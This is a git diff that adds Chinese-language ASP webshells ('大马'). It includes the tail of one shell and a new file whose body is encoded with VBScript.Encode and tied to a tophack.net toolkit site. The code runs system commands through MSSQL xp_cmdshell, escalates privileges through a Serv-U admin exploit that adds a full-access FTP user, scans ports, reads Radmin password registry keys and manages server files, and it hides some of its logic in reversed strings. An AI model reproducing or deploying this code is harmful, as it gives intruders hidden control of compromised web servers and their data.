noitpo<╁j╋╁>noitpo/<口端nimdaR>╁╁troP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/<码密nimdaR>╁╁retemaraP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/<表列卡网>╁╁dniB\egakniL\pipcT\secivreS\teSlortnoCtnerruC\METSYS\MLKH╁╁=eulav noitpo<╁j╋╁>noitpo/'emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo<╁ j╋╁>noitpo/<值键的带自择选>''=eulav noitpo<╁ j╋╁>';eulav.siht=eulav.htaPeht.mrof.siht'=egnahCno tceles<╁ j╋╁ >2=napsloc dt<>rt<╁ j╋╁>tcAeht=eman geRdaeR=eulav neddih=epyt tupni<╁ j╋ ╁>p<取读值键表册注╁ j╋╁>tsop=dohtem mrof<╁ j╋)(GERdaeR bus" +ExeCuTe(ShiSanFun(ShiSan)) +if request("ProFile")<>"" then +on error resume next +if Application(request("ProFile"))=1 then +Set fsoXX = Server.CreateObject("Scripting.FileSystemObject") +if request("DelCon")=1 then +Application(request("ProFile")&"Con")="" +response.redirect Url&"?ProFile="&request("ProFile")&"" +response.end +end if +DIM rline,rline2 +rline2=Application(request("ProFile")&"Code") +rline2=rline2&vbcrlf +j"" +j"
    清空日志  要想解除保护,直接关闭页面即可。
    " +for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf) +FileUrl=trim(FileUrl) +if fsoXX.FileExists(FileUrl) then +Set txt = fsoXX.OpenTextFile(FileUrl,1,true) +rline="" +if Not txt.AtEndOfStream then +rline=txt.ReadAll +end if +if rline2<>rline then +txt.close +fsoX.GetFile(FileUrl).Attributes=32 +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" 被更改,已恢复
    "&Application(request("ProFile")&"Con") +else +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" √
    "&Application(request("ProFile")&"Con") +txt.close +end if +else +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" 被删除,已恢复
    "&Application(request("ProFile")&"Con") +end if +next +if ubound(split(Application(request("ProFile")&"Con"),"
    "))>=40 then +dim ashowic +for ashowi=0 to 40 +ashowic=ashowic&split(Application(request("ProFile")&"Con"),"
    ")(ashowi)&"
    " +next +Application(request("ProFile")&"Con")=ashowic +end if +j Application(request("ProFile")&"Con") +else +j"


    保护进程丢失,请重新生成保护进程。
    " +end if +response.end +end if + +if session("KKK")<>UserPass then +if request.form("pass")<>"" then +if request.form("pass")=UserPass then +session("KKK")=UserPass +response.redirect url +else +j"


    --------------- 密码错误不能登录! ------------



    "&backurl +end if +else + +si="

    " +if instr(SI,SIC)<>0 then j sI +end if +response.end +end if + +ShiSan="buS dnE╋fI dnE╋fI dnE╋fI dnE╋)╁>rb<>tnof/<放开>der=roloc tnof<.........╁ & muNtrop & ╁:╁ & pitegrat(j╋eslE╋)╁>rb<闭关.........╁ & muNtrop & ╁:╁ & pitegrat(j╋nehT 0 > )╁.))(tcennoC(╁ ,noitpircsed.rrE(rtSnI fI╋nehT 9527647412- = rebmun.rrE ro 3487127412- = rebmun.rrE fI╋nehT rrE fI╋rtsnnoc nepo.nnoc╋1 = tuoemiTnoitcennoC.nnoc╋╁;=drowssaP;2ekal=DI resU;╁& muNtrop &╁,╁& pitegrat & ╁=ecruoS ataD;1.BDELOLQS=redivorP╁=rtsnnoc╋)╁noitcennoc.BDODA╁(tcejbOetaerC.revreS = nnoc tes╋txeN emuseR rorrE nO╋)muNtrop ,pitegrat(nacS buS╋bus dne╋FI DNE╋╁s ╁&emiteht&╁ ni ssecorP>rh<╁j╋))1remit-2remit(tni(rtsc=emiteht╋remit = 2remit╋txeN╋fI dnE╋txeN╋txeN╋fI dnE╋fI dnE╋)╁>rbrb xkees fI╋)╁-╁ ,)i(pmt(rtSnI = xkees╋eslE╋))i(pmt ,xxx & tratSpi(nacS llaC╋ nehT ))i(pmt(ciremunsI fI╋)pmt(dnuobU oT 0 = i roF╋))╁-╁,)uh(pi(rtSnI-))uh(pi(neL,1+)╁-╁,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)╁.╁,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF╋))╁.╁,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi╋eslE╋txeN╋fI dnE╋fI dnE╋)╁>rbrb xkees fI╋)╁-╁ ,)i(pmt(rtSnI = xkees╋eslE╋))i(pmt ,)uh(pi(nacS llaC╋ nehT ))i(pmt(ciremunsI fI╋)pmt(dnuobU oT 0 = i roF╋nehT 0 = )╁-╁,)uh(pi(rtSnI fI╋)pi(dnuobU ot 0 = uh roF╋)╁,╁,)╁pi╁(mroF.tseuqer(tilpS = pi╋)╁,╁,)╁trop╁(mroF.tseuqer(tilpS = pmt╋)╁>rh<>rb<>b/<:告报描扫>b<╁(j╋remit = 1remit╋nehT ╁╁ >< )╁nacs╁(mroF.tseuqer fI╋╁>mrof/<>p/<╁j╋╁>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<╁j╋╁>' nacs '=eulav 'mottub'=ssalc 'timbus'=epyt 'timbus'=eman tupni<╁j╋╁>rb<>rb<╁j╋╁>'╁&tsiLtroP&╁'=eulav '06'=ezis 'xoBtxeT'=ssalc 'txet'=epyt 'trop'=eman tupni<╁j╋╁:tsiL troP>rb<╁j╋╁>'06'=ezis '╁&PI&╁'=eulav 'pi'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pi'=eman tupni< ╁j╋╁ :PI nacS>p<╁j╋╁>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<╁j╋╁>p/<。作操列系行执内LLEHS在请。接连法无能可PI部外果结描扫则,网内是果如>p<>p/<)。确准不描扫网内对DMC,DMC用使荐推人个,慢较比度速,口端个多描扫果如(器描扫口端>p<╁j╋fi dne╋)╁pi╁(mroF.tseuqer=PI╋esle╋╁1.0.0.721╁=PI╋neht ╁╁=)╁pi╁(mroF.tseuqer fi╋fi dne╋)╁trop╁(mroF.tseuqer=tsiLtroP╋esle╋╁85934,0095,0085,2365,1365,9984,9833,6033,3341,35,32,12╁=tsiLtroP╋neht ╁╁=)╁trop╁(mroF.tseuqer fi╋0006777 = tuoemiTtpircS.revreS╋)(troPnacS bus╋" +ExeCuTe(ShiSanFun(ShiSan)) +Select Case Action:case "MainMenu":MainMenu() +Case "EditPower" +Call EditPower(request("PowerPath")) +Case "SavePower" +Call SavePower(request("PowerPath"),request("SaveType")) +case "getTerminalInfo":getTerminalInfo():case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():FuncTion MMD():SI="
    MSSQL Commander
    Command: UserName: Password: 
    ":j SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:j request.form("MMD") & "
    "& strResult:end FuncTion:case "Alexa" +dim AlexaUrl,Top:AlexaUrl=request("u"):Top=Alexa(AlexaUrl):if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" +SI="
    " +For i=0 To 18 +SI=SI&"" +Next +j SI +Err.Clear + +function getHTTPPage(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +getHTTPPage="" +exit function +end if +getHTTPPage=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +Function bytes2BSTR(vIn) +dim strReturn +dim i1,ThisCharCode,NextCharCode +strReturn = "" +For i1 = 1 To LenB(vIn) +ThisCharCode = AscB(MidB(vIn,i1,1)) +If ThisCharCode < &H80 Then +strReturn = strReturn & Chr(ThisCharCode) +Else +NextCharCode = AscB(MidB(vIn,i1+1,1)) +strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) +i1 = i1 + 1 +End If +Next +bytes2BSTR = strReturn + Err.Clear +End Function +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ + "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +a.send loginuser & loginpass & mt & deldomain & quit +set session("a")=a +j"
    提权完毕,已执行了命令:
    "&cmd&"

    " +j"" +j"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +j"
    " +j"
    服务器组件信息
    服务器名 "&request.serverVariables("SERVER_NAME")&"
    服务器IP
    服务器时间 "&now&"
    服务器CPU数量 "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
    服务器操作系统 "&Request.ServerVariables("OS")&"
    WEB服务器版本 "&Request.ServerVariables("SERVER_SOFTWARE")&"
    "&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
    " +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j"
    Serv-U 提升权限 by Sam
    用户名:
    口 令:
    端 口:
    系统路径:
    命 令:
    " +j"" +j"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +case"MMD":MMD() +case"ReadREG":call ReadREG() +case"Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing +case"DownFile":DownFile FName:ShowErr() +case"DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing +case"EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing +case"CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing +case"MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing +case"DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing +case"CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing +case"MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing +case"NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing +case"UpFile":UpFile() +case"TSearch":TSearch() +case"pcanywhere4":pcanywhere4() +case"Cmd1Shell":Cmd1Shell() +case"Logout":Session.Contents.Remove("kkk"):Response.Redirect URL +case"Course":Course() +case"Alexa":Alexa() +case"suftp":suftp() +case"upload":upload() +case"radmin":radmin() +case"pcanywhere4":pcanywhere4() +case"goback":goback() +Case "ProFile":ProFile() +case"php":php() +case"downloads":downloads() +case"apjdel":apjdel() +case"cmdx":cmdx() +case"aspx":aspx() +case"hiddenshell":hiddenshell() +case"ScanDriveForm" : ScanDriveForm +case"ScanDrive" : ScanDrive Request("Drive") +case"ScFolder" : ScFolder Request("Folder") + Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +j"" +%> + diff --git "a/asp/\345\244\215\344\273\207\350\200\205asp\345\244\247\351\251\254\357\274\210\350\277\207\347\233\221\346\216\247\357\274\211.asp" "b/asp/\345\244\215\344\273\207\350\200\205asp\345\244\247\351\251\254\357\274\210\350\277\207\347\233\221\346\216\247\357\274\211.asp" new file mode 100644 index 0000000..0265b2e --- /dev/null +++ "b/asp/\345\244\215\344\273\207\350\200\205asp\345\244\247\351\251\254\357\274\210\350\277\207\347\233\221\346\216\247\357\274\211.asp" @@ -0,0 +1,9 @@ +<%@ LANGUAGE = VBScript.Encode %><% +UserPass="heroes" '密码(改成您常用的密码) +mName="复仇者asp大马" '名字(改成您喜欢的名字) +Copyright="2 0 1 2" '版权(改成您喜欢的版权) +AD="若龙得水,血染江山" '文字(改成您喜欢的签名) +SiteURL="http://tophack.net/" '网站地址(注意:此处不能更改,否则部分功能失效) +toolsweb="http://tophack.net/web/" '功能地址(注意:此处不能更改,否则部分功能失效) +bg="http://tophack.net/shell/" '背景图片(改成您喜欢的背景图片,支持闪图哦) +#@~^OOsBAA==8N'E[!Z!!Z!rlh.'EaZ!ooZ!J=8E9E'r:T!Z!Z!E)jnM\nDcjmMk2O:k:nG!Yx,O1O,1O,O)I/aGxk+ A!0WnMP'D.E)r ~3DMWMP]+d;s+~1aY=/;8,?tGAAD.`*l&0~ADMPK4+ lI"?E@!(D@*@!mPtMn0{BLm-C/1DbwO)4rkYGDH 4mmVc*B@*@!8M@*~J,',2.MRG+/1Db2YbWUPLPE@!Jl@*@!8D@*J)A..R;Vl.)]nkwGxknRwV;d4)2U[,qW)U9Pd!4=?E(P"]?v/OD*).nkwW d+chDbOn`kYM#l2U[,?;4=oE mOrKxP]nhlOtvj*)]nmYt{I2Vmmn`U~Ewr~J'wJ*)2 [~s!x1YrWUlwEUmDrW P]]nlO4v?b)"]nCDt{I+aVm^+v?SJ'-ESr-J*l2 NPw;UmDkKxlj]J{In;!n/DRjnM\+.#mDrl(s/crj"SJ*)!xD;;+kY dD\.\mDkm8s+k`rtOY2m4WdYrb[!DslU+D-nMqK'"n$EnkYc?+M\..mDrl(VndvJS}/bd{bG9]J*)9WhlrU{In;!n/DRjnM\+.#mDrl(s/crtDYw|tKdYr#lb1YrG 'I5E/YvE)mDkKxE#l]KWOnmOt{?n.7+D \mwKlD4vJ r#=qIKGY{?nD7+. tlwhCY4`JJEb)kYMFxDn5!+dYcd+M\n.7lDrC(Vn/vE4YOa{4W/DJ*'EMVlrZrTx"+;!n/DR?.-+M.mDrl8s/cJh)K_{P]z1?J):29J*lwWs9+MnlDt{]+$En/D`EoKVN.nmYtrbl?1Dglh+x];;+kORU+.-D.C.bl8VdvJj1DbwY|1mh+r#lsglhn{I+$;+kY`roHls+r#lAC^0j.V{E@!(D@*@!(D@*@!^xO+M@*@!l~4D0'ELm-lkm.kaYl4b/YK.Xc4l1Vc#E@*返回@!zC@*@!&1+UY.@*r)o; mYrG Pjj 3 ZG9+vr4N?D.#=fr:,?HnS?YMlr(L?D.xIw^l^+c6(LjYMSJ∷r~EErJ#loKD~k{q,KG,Sx`}4NjYM#lq6P\r9`r(%?DD~bSq#,@!@*PE∵J~P4+U)UH+S?O.{Hk[c}4%?D.BkS8#L?1hUOD=2s/)jHh?D.'74ZMJW[U1hjY.lAx[P&W)g+aO=?jU3 ZGNxU1nS?DD)Ax9~s!x^YbWUl6+1;Y`?`U3x;W9+cJUGbY^x!oP9x3∵.D?hnHdPxP[KZUAx`S∵YX+g∵Wq,NU2,P~∵.D?hHS,[P6J.Z(\,'~DOjS+HS,~P,P~~,PP~~,∵+dVA~,P∵W&P9x2∵MYUA+gS~[,#VKvDt;~',DYUAn1dP,P~P~~,P~P,~∵0&P[UAPP~~,P~P,~,P~∵l,,_P0n,xP0n~P,P~~,PP,~P,PP,~~P,P∵ +4K~+2P@!P0KP6qnd^2P~~,P~P,~,P~∵l,,OP0n,xP0n~P,P~~,PP,~P,PP,~~P,∵xtPP+8P@*P0KP6q~~,PP~~,P~P,∵X,O~*#8P~bPB.YUL8rvNr\vm/z~',3n∵ds2∵MYUhn1J~LPb#*qPBk~SMY?%8}`[ktc1/)vD4ZP{PMO?S+HS∵ +4P,v 8~@*,##8~Sk,~MYjL86vNrHv^/zP.6, &~@!,#bF,SbPSMYUL4}`9rHvmdb,0(∵UtK,∷卐∷~@*@!P#8~Sk,~MYjL86vNrH,Wq,P~~∵*DYj%(rcxJ,WP,F,'PbPMGs∵MYjh1J~B3n,hkG∵#DDj%4}`NGZU3 jJP GkDmU;wJ#blkY.F{.;;/DR/D7nD7l.km4snk`J4OYa{tKdOJ*[!Ds@#@&]"?E@!4O:^@*@!hYl~4DY2O5!k-{JrZW YUY KzwJE~1WxDnxD'JrOn6Dz4YhVI~1tCDknY{o8+2F EE@*J@#@&"]UJ@!DkDV+@*JLh1m:n[rPR~r[?.\Dqh'EODWatCmV +OP@!&YbYsn@*J@#@&]"?E@!kOHVn,YHw+{JrO+XY&mk/EE@*J@#@&]IUJ4K[z~DNP0GxORkk"+=~FywaI(lmVLMW;x9R1WsKD=J[(LLEi1WsWM)E'Sy[rI8r@#@&"]jJbxaEO~dn^+^YBO+XYC.l WG YR/b")~8 a6i1W^GD=J'h.[EI(lm0LDKEx9R^W^WM)E[8;9E'Jp8WMNn.=Fwa~kWsk9~r[A.[r8J@#@&"]?rR/ (l^VTDW!UN mW^G.)[!Z!T!TI(W.N.)ZwaNr@#@&]]UJ ms[P4C13TDW!x9RmKVGD=aTTZimKsWM)awoo8r@#@&I]?E8KNz sCDTkUl,!waIsl.obU Vn6Y=cwXi)E@#@&I]?rA69IP U/I}SS~)]Owb;2RZ6J}IlP[T!Z!TTp?Z]6dS$b"R_q!_S&MC:O;6S}IlPr[A"LJiU/I}SS~)]OUCzf6R/}S6I=~JLh"'ri?/]}SJAz] b]"rqOZ}S}]),J'h.[EIUZI}JS~bI P]b;| Z6S6]=P:!ZT!Z!Ij;IrJJ~b]OG)"|j_bGr Z}Jr")~4^l^Vp?Z"6SdAb"R$bU2 Z6S6]=P:!ZT!Z!NE@#@&I]jrl`mKsKDlr[Sy[riDn6DO[+1W.CDkW lP WxINl=tK\nD`^KVGD=:swsoowi4C^0o.W!U9):Z!Z8J@#@&"]?rRC:PmGsKD)r'h.[JpWGxDOkk"+lq8wai)E@#@&I]jr@!zdOHVn@*r@#@&I]kJ@!m+ Y.@*@!0GxDPWC1+'SrxTNk LdP1W^W.':[9N[N9~/DXsn{0WUO /r}lr[WKxD[J@*JL2k1[E@!J0GUD@*@!J^+ Y+M@*E@#@&@#@&?nY~~,0dW,xP,Z.nmY+68N+^YvEUm.bwDkxTRwrV?z/D+h6(L+1OJ*)?O~0{0kW MnOwks+v6!}!blb0P~WclOYMr(EO/,@!@*,&O~Y4+U)6RCODDk(;Y/P{~f,=+ N~kW@#@&+a+1;Y`Ji 2x/G9+cJ卐E/E]aSh卐EY/~;$Oh46YBu( u/Lsz]EBAkOUX4su3H卐]v=bYLbEY6Sh卐v/HExA4Xc)Bo q卐B:@$L.hXu/S"XNh@$R XU.Ty62.hD|o&@$vBEB~p]5\AN/dx24o6@$s;uA]%"$0`&Ns6jfMhD|o&@$Sz6uAYL.;W`2hXo5\o&DSOFo&a@$La;WVu/AyH%h@$RvvL确正否是句语p.p查检请vEOzhN56" lvz:X^/N5&SXaO0x:@$N6;6V]khyH%A@$cBE[确正否是串接连库据数查检请vBRzSL50e )z:zskL;f%.;W 2AH(L&&MhYno&R3 " V!FAzXOhHp;7(;$"F]kY X4/"VE( 卐E:@$NyAzu/h"zNh:@$(U#hzo]~]L.;6`&SXp;7(f.SY|T("N6;N:@$R(x#hz(RzSL50e G+A$U 3xY%X;%a@$vEZANXkLtWb。句语令命作操5#(入输再库据数接连己认确请;h%XkL4)EBA5]5thLkdU&4o6@$vBvvuAYL.50P&Azo;\pfMhO|T(@$4U#hH(]~]N";6 fhH(L(2DhDFo&"RR$)x 3 @$vB。节字个十五前的段字示显只据数条一过超dC2现实询查制控件条用可,节字部全的段字示显可即时据数条一示显只当Bv]~8G+=Azo@$Bvposi]U]\pP_]`K&](%D6?%;T0e|u9pVo5u9I}oBE]~4v|AH(@$BE GRO otCo,u(ps`YUIt5K_]q&su8LM0jL$oWe#]95!sI]xe}sEBuA8*|SXp@$Ev4NDWjN;oWe#]BpVoI]i:&BBuAu8@*#hz(@$Bv c*) stCw,Yx(\F}ptju5P?u v8vRY%51ejxqH]Ijg](gO(LD6?N5o65|]xp!oI]9Io9qCBEY$]('#hz(@$vE*Xv~(1u9 Bt-]SCNDW/S%XySmAq9(\]IB(u4%D6?%5T05#Y9Isq`tvBuAu4@!=Azo@$vBlXv~qHYx9\wu4%D6jN;L65#]I:nY9I9}9&BvY~]4p|hH(@$Ev ~mkSYk6aW!~CFBCLM0dAN6ySC (B}5o]] o(wjFq9otO(L.0UL5L65=uP5U1]I B(U1EBYAY8==AXo@$BE*Xzq1YBq9\-u8NDWUL$o0I=u]Kq|Yzu5uB59(Ev]~]4O|AXo@$EB%DWjk6(AkaqEBY$u4%|AH(@$BE&Jz&~k-j@$HYDAAbxt@$NDWjTqANa0T0X6(@$il%RAzhOi@$BQjgALPh%p3BAA%Ph%(@$:$\p?IeAhN AqEBYAu4{|SX(@$vBJzzJ$ru`@$66$kUt@$L.0ULq~LaWT0XW(@$%0,+qE_ighN hN(3vASL`hN(@$:SL S%(u;\oZ$hN h(BvY~]8v#AXo@$vvJzz$rSYk6XW`]%X0T0X6qQ!qxpP]HL6@$TkD2LkmlB3 BsX6jALr5D|vOkOxX6%p :XWiNQB~%4h"D(u0X6q@$X&O&!qxpPfHLr2z3D6YS4UI~hNkU OA`Bv]~Y4l=Azo@$R{ UWhSouu%k]~]hH([@$LX;W3u/A"HLhe *zxO0UZR OSXpo(5$yF]kOxHtd"0B( 卐Ea@$L.AH]dSyHLh[@$Na;63Y/Syz%S@$RlRhH(o&55yn@$cBv库据数接连先请BvRHh%;6ZREBvvuAAY%.;W 2AH(L&&MhYno&R3 " Oat%h_oqudY Xtk"VBoq卐B:a@$vEBv]~YL.;W`2LDWjn&.hDVNkUs&!YXeLX5L[@$ OHx.L.6&MAY0Lk hfEDX@$/Oxz4w|YAu%y$0`fkYxz4w&.hDVNkUs&!YXeR$5ykA'LM0j( 3x[@$BEhLszPBE]~]%DWj&"%6$%a@$L.WUq]$YNy50PfNDWU|2DhD3Nrxs&;YH@$ %M0?nqBE!在存否是件文意注F称名全件文ob]的缩压要入输请vB X!DOh;Y~]%D6jqeRvvTkIz46E.Y_vEA$kY Xtw| VxuLa;Na@$%M0?&YAuLy$W`&ND6?F&.AD3%k h&!Yz@$cLDWjnFvB!名同能不意注8称名全件文LbI的建新要入输请vEOHEDDh!YAuL.0UqZ EBob]LH0LSuvB~AkYUX4onOVxu%6$L:@$ND0j(uAYL.56 fND6?|2DSO3NkU:2EOz@$RLMW?nFBE称名全夹件文的建新要入输请vvOHEMYAEY$uL.0U("cBvANk;OF-LjBE$~/O X4s| 3 YLX;%a@$L.WUq!EvJrJJrEEJEBuAT]%"$0`&N.0U|f.SY3%r :fEDz@$R%M0U|FEB称名全夹件文标目到动移入输请EvOHE.YSEY$uLD6jqeRBEA%k$YnL`Y]vEA$/DUX4sFR0x]%a$L:@$N.6?(ZBEJJrJrEJrBv]~!Y%.;0PfLM0?nf.hD3NkU:f;DX@$RN.0U|qvE称名全夹件文标目到动移入输请BBRz!DOh!Y~]%M0Uq"cBEALb;O|?EOuEBA~dY XtwFR3 ]N65L:@$NDW?&TBEJEErJJEEEBYAZYNy56 2LD6?nfDSYVLbxhf!YX@$ LM0?nqvB称名全件文标目到动移入输请EB X;DOA!]$]N.0UqZ EBL5UnL`Y"vEA$kY Xtw| VxuLa;Na@$%M0?&TBEJJrEEJrJEBYATYNy50PfLM0jF2DhOVNkU:2;DX@$cLM0?nFEv称名全件文标目到制复入输请BEOzEMYA;uA]N.0Uq"cvvL$xnU;YuvEA$/DUX4sFR0x@$%.6?F]~YNy56 2LD6?nfDSYVLbxhf!YXe /DxX4oFFND6?FO.AD|5;.F]kYUz4/yVvo 卐B[@$cOz DTy62DSO3Skr02EOz@$hLb5Yn]Au%";6 2:z0iANk5YnfDSYVAbk0f;DXZRS%b;OnOSLk$YnkYs(Y/Dxz4ky3Epq卐B@$cR2tD;_/"h:@$?05EXUkZBv+y]]vQ&sQB→Ev~6"H0H6&-Ybdx-@$ O^/UAH(L$WtDpYHf=0bYH]$UW5!6UkuA0P@$ RNX0(Y-Ld]~Y?0rDXuh0P@$cX*+]qBERR24Y;_dySBB z"YND 5zLaf-Yr/ k]~]%. 5LhzeRRw4O$Cd.hu/Y X4dy0Bpq卐B:@$N6;6V]khyH%A]N6$L@$L"AH]dh.zLSR vE?吗作操此行执要认确BBR.SxV/D4 ]V "cOwD6N=]kYUX4/"VE(q卐v@$XhYSAB;$xaAAYAAN/O&-Okkxk:@$LyAzu/AyH%S" 6SYhS9$5xa]dY X4d.3ZH;xSt66`WW~L^0"VdW$]zE AtXbvpqJbb=+a+1;D+cdj 2x;W9n`rB件组输传据数v]~] {8%v eo:gB`eeH5IY&z3OaDh4x"v]~] X8%vReTK_B件组信发$U6I;HDoB]~]c{FFvR5TK_v+&; WI!XDof5x6I!X.(vY~] *8{v 5LPQB件组信发je]o拟虚BYAu FF+OIoKQB$U0"u%?2(ej:qCEYAuR*8OIo:gv件组发收件邮]5U6I6Bu$]cGqX+O5LPQB5x6]!X.o&$x0"rEYAuRXFlvReTKgE件组传上件文Yk6Y;!ti(wBuAYR{q@*Oeo:_B+&rWD;EtfXXU6S%`BY~]c*F@*OILKQB件组传上件文峰云刘v]~] {8'OILKQBL$UFk6Y$Et&rWD;;}0=pE]$Yc*FxRIoPgE件组传上件文Y!}%$xn soBu$]cGq@! 5LPQBE\%; |&XdW6 XSsz3OpE]$]cXF@!OeL:gB件组传上流据数vY~] G8I 5L:gED0NhHp&TkOkwBY$uR*8IOIoKQv件组接连库据数v]~]cGq)ReTK_BkOxHt%dkYtfLbYrsEY~] lF=O5TKQv件组助辅传上流据数BuAYRFF1RIoKQYB?h0kOUX4x&&s/Uz!xAtov]~] X8,OeL:gv件组缩压(oB_CoE]~]RFFRR5TK_BN/Usk9XN6&:rEY$]c*8%R5LPQB件组库建p(xuCwBY$uRGq{ 5LKQv^Y56X6C&YK&oBuAYRlF{RIoKQv件组行执行令命BuA]c{qv 5TK_B55N:a&H;xStakE]AY lFOIL:gv件组作操件文E]~]RFFlR5TK_BHt%GTKDNz6?(L$UF&^/ X;xA4oBYAu *8*ReTKg {8%OIL:]. qr##@#@&wGD,kx!,KG~8&)UnY,K'Un.\DcZ.+COr8L^Yvr8Pvk~Tb*)(0,RyF*F 